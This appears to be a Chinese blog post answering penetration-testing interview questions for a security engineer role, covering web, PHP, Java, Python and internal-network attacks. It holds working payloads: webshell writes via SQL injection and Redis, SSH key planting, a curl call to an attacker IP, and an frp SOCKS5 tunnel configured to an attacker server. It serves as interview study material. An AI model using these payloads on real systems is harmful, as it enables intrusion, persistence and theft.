2025年渗透测试面试题总结-匿名[校招]高级安全工程师(代码审计安全评估)(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

匿名[校招]高级安全工程师(代码审计安全评估)

渗透基础

[1. 自我介绍](#1. 自我介绍)

[2. SQL注入写Shell(分数据库)](#2. SQL注入写Shell(分数据库))

[3. 登录框攻击面](#3. 登录框攻击面)

[4. GetShell的姿势](#4. GetShell的姿势)

[5. 文件上传黑名单绕过](#5. 文件上传黑名单绕过)

[6. SQL注入后利用](#6. SQL注入后利用)

[7. 有趣漏洞案例](#7. 有趣漏洞案例)

[8. 蓝凌OA漏洞(示例)](#8. 蓝凌OA漏洞(示例))

[9. DNS重绑定利用](#9. DNS重绑定利用)

[10. PHP vs Java文件包含](#10. PHP vs Java文件包含)

[11. Redis利用](#11. Redis利用)

PHP

[1. 常见漏洞函数对照表](#1. 常见漏洞函数对照表)

[2. PHP安全特性](#2. PHP安全特性)

[3. 代码审计(MVC/非MVC)](#3. 代码审计(MVC/非MVC))

Java

[1. 执行命令方式](#1. 执行命令方式)

[2. 反序列化原理](#2. 反序列化原理)

[3. YSO链示例(CommonsCollections)](#3. YSO链示例(CommonsCollections))

[4. Shiro反序列化漏洞](#4. Shiro反序列化漏洞)

[5. 反射/代理/类加载](#5. 反射/代理/类加载)

[6. 代码审计要点](#6. 代码审计要点)

Python

[1. 非脚本工具开发](#1. 非脚本工具开发)

[2. Web框架安全](#2. Web框架安全)

[3. 代码审计重点](#3. 代码审计重点)

漏洞挖掘

[1. 漏洞利用研究理解](#1. 漏洞利用研究理解)

[2. 漏洞利用案例(Fastjson)](#2. 漏洞利用案例(Fastjson))

内网渗透

[1. Disable Function绕过](#1. Disable Function绕过)

[2. Webshell提权](#2. Webshell提权)

[3. 内网渗透思路](#3. 内网渗透思路)

[4. 无扫描横向技巧](#4. 无扫描横向技巧)

[5. 绕过杀软限制](#5. 绕过杀软限制)

[6. 常用提权姿势](#6. 常用提权姿势)

[7. 内网代理(Frp)](#7. 内网代理(Frp))

匿名[校招]高级安全工程师(代码审计安全评估)

复制代码
#### **渗透基础**

1. 自我介绍
2. SQL注入 写 Shell - mysql & mssql & oracle
3. 登录框攻击面
4. getshell的姿势
5. 文件上传点,黑名单限制,如何利用
6. SQL注入后利用
7. 讲一个你觉得有趣的漏洞案例
8. 前段时间蓝凌OA的洞
9. DNS 重绑定,利用
10. Php和Java的文件包含区别
11. Redis的利用

#### PHP

1. 常见漏洞对应函数(挨个问)
  - 命令执行
  - 代码执行
  - 文件包含
  - 文件上传
  - 文件删除
  - SSRF
  - ...
2. PHP安全特性有关注吗
3. 代码审计(mvc/非mvc)

#### **Java**

1. Java执行命令的几种方式
2. Java反序列化的原理
3. 讲讲yso的链
4. Shiro 反序列化原理
5. 反射,代理,类加载这些熟悉吗
6. 代码审计

#### Python

1. 是否写过非脚本的工具
2. Web框架(flask/django)
3. 代码审计

#### **漏洞挖掘(重点关注)**

1. 简历上的通用洞挨个问
2. 漏洞利用研究的理解
3. 漏洞利用研究的案例

#### **内网(偏实战问题)**

1. disable function bypass
2. webshell 提权(低权限 -> 高权限)
3. 已经拿到webshell,说说你的内网思路
4. 不允许扫描,如何横向
5. 存在杀软,不允许exe落地,怎么办
6. 常用的提权姿势
7. 内网代理,详细问了frp

渗透基础

1. 自我介绍
  • 核心逻辑 :技术背景(渗透测试/红队经验)+ 实战成果 + 研究方向
    "专注于渗透测试5年,擅长Web漏洞挖掘与内网渗透,曾发现某金融系统SQL注入链式利用漏洞(从注入到GetShell),主导过多个企业级红队项目。研究方向包括云环境渗透、Java反序列化漏洞自动化检测,熟悉ATT&CK框架实战化落地。"
2. SQL注入写Shell(分数据库)
数据库 方法 适用条件
MySQL SELECT '<?php eval($_POST[x]);?>' INTO OUTFILE '/var/www/html/shell.php' FILE权限,路径可写且已知
MSSQL 启用xp_cmdshell: EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC xp_cmdshell 'echo ^<%eval request("x")%^> > C:\shell.asp' sysadmin权限,禁用防护组件
Oracle 使用UTL_FILE包写文件: DECLARE fh UTL_FILE.FILE_TYPE; BEGIN fh := UTL_FILE.FOPEN('WEB_DIR','test.jsp','W'); UTL_FILE.PUT_LINE(fh,'<%execute request("x")%>'); END; UTL_FILE权限,已知可写目录
3. 登录框攻击面
  1. 爆破攻击:弱密码(admin/admin123)、密码喷洒(单密码多用户)。
  2. 逻辑漏洞:验证码绕过(前端校验)、密码重置Token劫持(参数篡改)。
  3. SQL注入 :万能密码(' or 1=1-- )、盲注获取用户凭证。
  4. 2FA绕过 :响应包修改"2fa_enabled":false
  5. OAuth/SSO劫持:回调URL参数污染劫持授权码。
4. GetShell的姿势
  1. 文件上传漏洞:绕过黑名单上传WebShell。
  2. RCE漏洞:Struts2/Log4j2等框架远程代码执行。
  3. 反序列化漏洞:Java/PHP反序列化链构造。
  4. SSRF转内网:攻击Redis/内网Jenkins写Shell。
  5. 数据库写文件:结合SQL注入写Web目录。
5. 文件上传黑名单绕过
  1. 扩展名绕过.pHp(大小写)、.php5(非标准后缀)。
  2. 双写绕过shell.pPHPphp(过滤替换后变为.php)。
  3. 特殊字符截断shell.php%00.jpg (旧版PHP版本)。
  4. Content-Type修改image/png伪装图片类型。
  5. .htaccess覆盖 :上传.htaccess文件定义可执行后缀。
6. SQL注入后利用
  1. 数据窃取:拖库(用户表、密钥表)。
  2. 权限提升:读取数据库配置文件(获取高权限账号)。
  3. 命令执行:MySQL UDF提权/MSSQL xp_cmdshell。
  4. 横向移动:通过数据库连接内网其他服务(如Redis)。
7. 有趣漏洞案例
  • 案例 :某OA系统XML解析漏洞导致RCE。
    • 漏洞链 :文件上传点限制后缀为.xml → 上传恶意XML触发XXE → 读取服务器文件 → 利用XSLT引擎执行Java代码。
    • 利用效果 :通过XSLT的document()函数加载远程Java类,实现无文件WebShell。
8. 蓝凌OA漏洞(示例)
  • 漏洞类型:未授权访问 + 反序列化(2023年历史漏洞)。
  • 利用链 :无需登录访问/sys/zone/LoginSSO.jsp → 反序列化参数触发BeanShell执行命令。
  • 修复方案:升级至最新版本,限制反序列化类白名单。
9. DNS重绑定利用
  1. 原理 :利用DNS TTL过期机制,将域名解析从外网IP切换到内网IP(如127.0.0.1)。
  2. 攻击场景:绕过浏览器同源策略,访问内网服务(如SSRF攻击本地Redis)。
  3. 工具 :使用rbndr服务生成动态域名。
10. PHP vs Java文件包含
维度 PHP Java
函数 include/require(动态加载) ClassLoader(静态加载)
协议支持 支持php://filterdata://等伪协议 依赖类路径(ClassPath)或自定义协议处理
漏洞触发点 包含用户可控参数(如?file=config.ini 动态加载远程类(如URLClassLoader)
11. Redis利用
  1. 未授权访问 :直接连接redis-cli -h 目标IP
  2. 写WebShellconfig set dir /var/www/htmlset x "<?php phpinfo();?>"save
  3. SSH密钥写入set x "\n\nssh-rsa AAA...\n\n"config set dir /root/.sshconfig set dbfilename authorized_keyssave
  4. 主从复制RCE:伪造恶意Redis主节点,同步模块触发命令执行。

PHP

1. 常见漏洞函数对照表
漏洞类型 危险函数
命令执行 system(), exec(), passthru(), shell_exec()
代码执行 eval(), assert(), preg_replace(/e修饰符)
文件包含 include, require, include_once(结合伪协议)
文件上传 move_uploaded_file()(未校验后缀/内容)
文件删除 unlink()(未校验权限)
SSRF file_get_contents(), curl_exec()(未限制URL协议)
2. PHP安全特性
  • 魔术引号(已废弃) :自动转义输入(magic_quotes_gpc),可通过stripslashes()绕过。
  • 禁用函数列表disable_functions需绕过(如LD_PRELOAD加载恶意so)。
  • open_basedir限制 :通过chdir()ini_set()组合绕过。
3. 代码审计(MVC/非MVC)
  • 非MVC审计 :直接追踪用户输入到危险函数(如$_GET['id']传入eval())。
  • MVC框架审计
    1. 路由解析 :检查路由参数过滤(如/index.php/user/view/id/123 中的id注入)。
    2. 过滤器链 :验证全局过滤是否遗漏(如未过滤$_FILES['file']['name'])。
    3. ORM层 :SQL注入检测是否使用预编译(如直接拼接where条件)。

Java

1. 执行命令方式
  1. Runtime.execRuntime.getRuntime().exec("cmd /c whoami")
  2. ProcessBuildernew ProcessBuilder("bash", "-c", "curl http://攻击者IP").start()
  3. GroovyShellnew GroovyShell().evaluate("'calc'.execute()")(依赖Groovy库)。
2. 反序列化原理
  • 触发点 :调用ObjectInputStream.readObject() 反序列化不可信数据。
  • Gadget链 :通过嵌套调用链执行恶意操作(如AnnotationInvocationHandlerTransformedMapInvokerTransformer)。
3. YSO链示例(CommonsCollections)
  1. Transformer链构造ChainedTransformer串联多个Transformer。
  2. Map触发点LazyMap.get() 触发Transformer.transform()
  3. 入口类AnnotationInvocationHandler反序列化时触发Map操作。
4. Shiro反序列化漏洞
  • 漏洞根源:Shiro RememberMe功能的AES密钥硬编码。
  • 利用步骤
    1. 使用已知密钥加密恶意序列化数据。
    2. 发送CookierememberMe=加密数据触发反序列化。
5. 反射/代理/类加载
  • 反射Class.forName(" 恶意类").newInstance()绕过访问限制。
  • 动态代理Proxy.newProxyInstance() 拦截方法调用(如触发RCE)。
  • 类加载URLClassLoader加载远程Jar执行代码。
6. 代码审计要点
  1. 反序列化入口 :搜索readObject()/readResolve()方法。
  2. 危险组件版本:Fastjson/Jackson/XStream等历史漏洞版本。
  3. SPEL表达式 :检查@Value注解或StandardEvaluationContext使用。

Python

1. 非脚本工具开发
  • 例子:基于Flask的漏洞扫描平台,集成SQL注入、目录爆破模块。
  • 技术栈:异步协程(asyncio)提升扫描效率,Jinja2模板渲染结果。
2. Web框架安全
  • Flask SSTI{``{ config.items() }}泄露敏感配置(需开启debug模式)。
  • Django ORM :正确使用参数化查询(filter(user=request.GET.get('user')) 防注入)。
3. 代码审计重点
  • 危险函数eval(), pickle.loads(), subprocess.run()
  • 模板注入 :检查render_template_string(request.args.get('tmpl'))

漏洞挖掘

1. 漏洞利用研究理解
  • 流程:漏洞发现 → PoC编写 → 武器化(结合C2工具) → 防御绕过(如混淆流量)。
  • 核心价值:将理论漏洞转化为实际攻击链(如Log4j2的JNDI注入利用)。
2. 漏洞利用案例(Fastjson)
  • 漏洞点@type属性自动加载类(如com.sun.rowset.JdbcRowSetImpl )。
  • 利用链:JNDI注入指向恶意LDAP服务,加载远程类执行命令。

内网渗透

1. Disable Function绕过
  • LD_PRELOAD :编译恶意so文件,通过putenv()设置劫持函数调用。
  • PHP扩展 :自定义扩展覆盖disable_functions限制。
2. Webshell提权
  • 内核漏洞:检测系统版本,使用CVE-2021-4034(Polkit提权)。
  • 服务配置 :查找SUID文件(find / -perm -u=s -type f 2>/dev/null)。
3. 内网渗透思路
  1. 信息收集 :获取网卡信息(ipconfig)、ARP表、本地凭证。
  2. 横向移动:Pass-the-Hash攻击域控、PsExec执行远程命令。
  3. 权限维持:Golden Ticket注入、计划任务部署后门。
4. 无扫描横向技巧
  • 协议利用 :利用SMB匿名访问(smbclient -L //目标IP)或RDP弱密码爆破。
  • 服务漏洞:攻击已知漏洞服务(如永恒之蓝利用MS17-010)。
5. 绕过杀软限制
  • 无文件攻击:PowerShell内存加载恶意代码(如Meterpreter)。
  • 合法工具滥用:使用certutil下载文件、msiexec执行远程安装包。
6. 常用提权姿势
  1. 本地漏洞:Windows内核漏洞(如PrintNightmare)。
  2. 服务权限:MySQL以SYSTEM运行(UDF提权)。
  3. 令牌窃取:利用Incognito模仿高权限用户令牌。
7. 内网代理(Frp)
  • 配置示例

    复制代码
    ini`# frpc.ini [common] server_addr = 攻击者IP server_port = 7000 [socks5] type = tcp remote_port = 1080 plugin = socks5 `
  • 使用 :通过socks5://攻击者IP:1080代理内网流量。

相关推荐
工呈士1 分钟前
React 性能监控与错误上报
前端·react.js·面试
前端小巷子6 分钟前
JS中的 eval
前端·javascript·面试
qq_2430507911 分钟前
rtpmixsound:实现音频混音攻击!全参数详细教程!Kali Linux教程!
linux·web安全·网络安全·黑客·渗透测试·voip·kali linux
Dignity_呱15 分钟前
玩转Vue插槽:从基础到高级应用场景(内含为何Vue 2 不支持多根节点)
前端·vue.js·面试
Le_ee15 分钟前
dvwa6——Insecure CAPTCHA
android·安全·网络安全·靶场·dvwa
异常君27 分钟前
Java 逃逸分析:让你的代码性能飙升的秘密
java·面试·代码规范
迢迢星万里灬28 分钟前
Java求职者面试:Spring、Spring Boot、Spring MVC与MyBatis技术深度解析
java·spring boot·spring·面试·mybatis·spring mvc
不爱说话郭德纲37 分钟前
你需要来自XXX的权限才能对此文件夹进行更改?看我三步暴删
linux·windows·操作系统
成都盛瑟传感技术有限公司1 小时前
云台式激光甲烷探测器:守护工业安全的“智慧之眼”
安全
掘金安东尼1 小时前
🧭 前端周刊第416期(2025年5月26日–6月1日)
前端·javascript·面试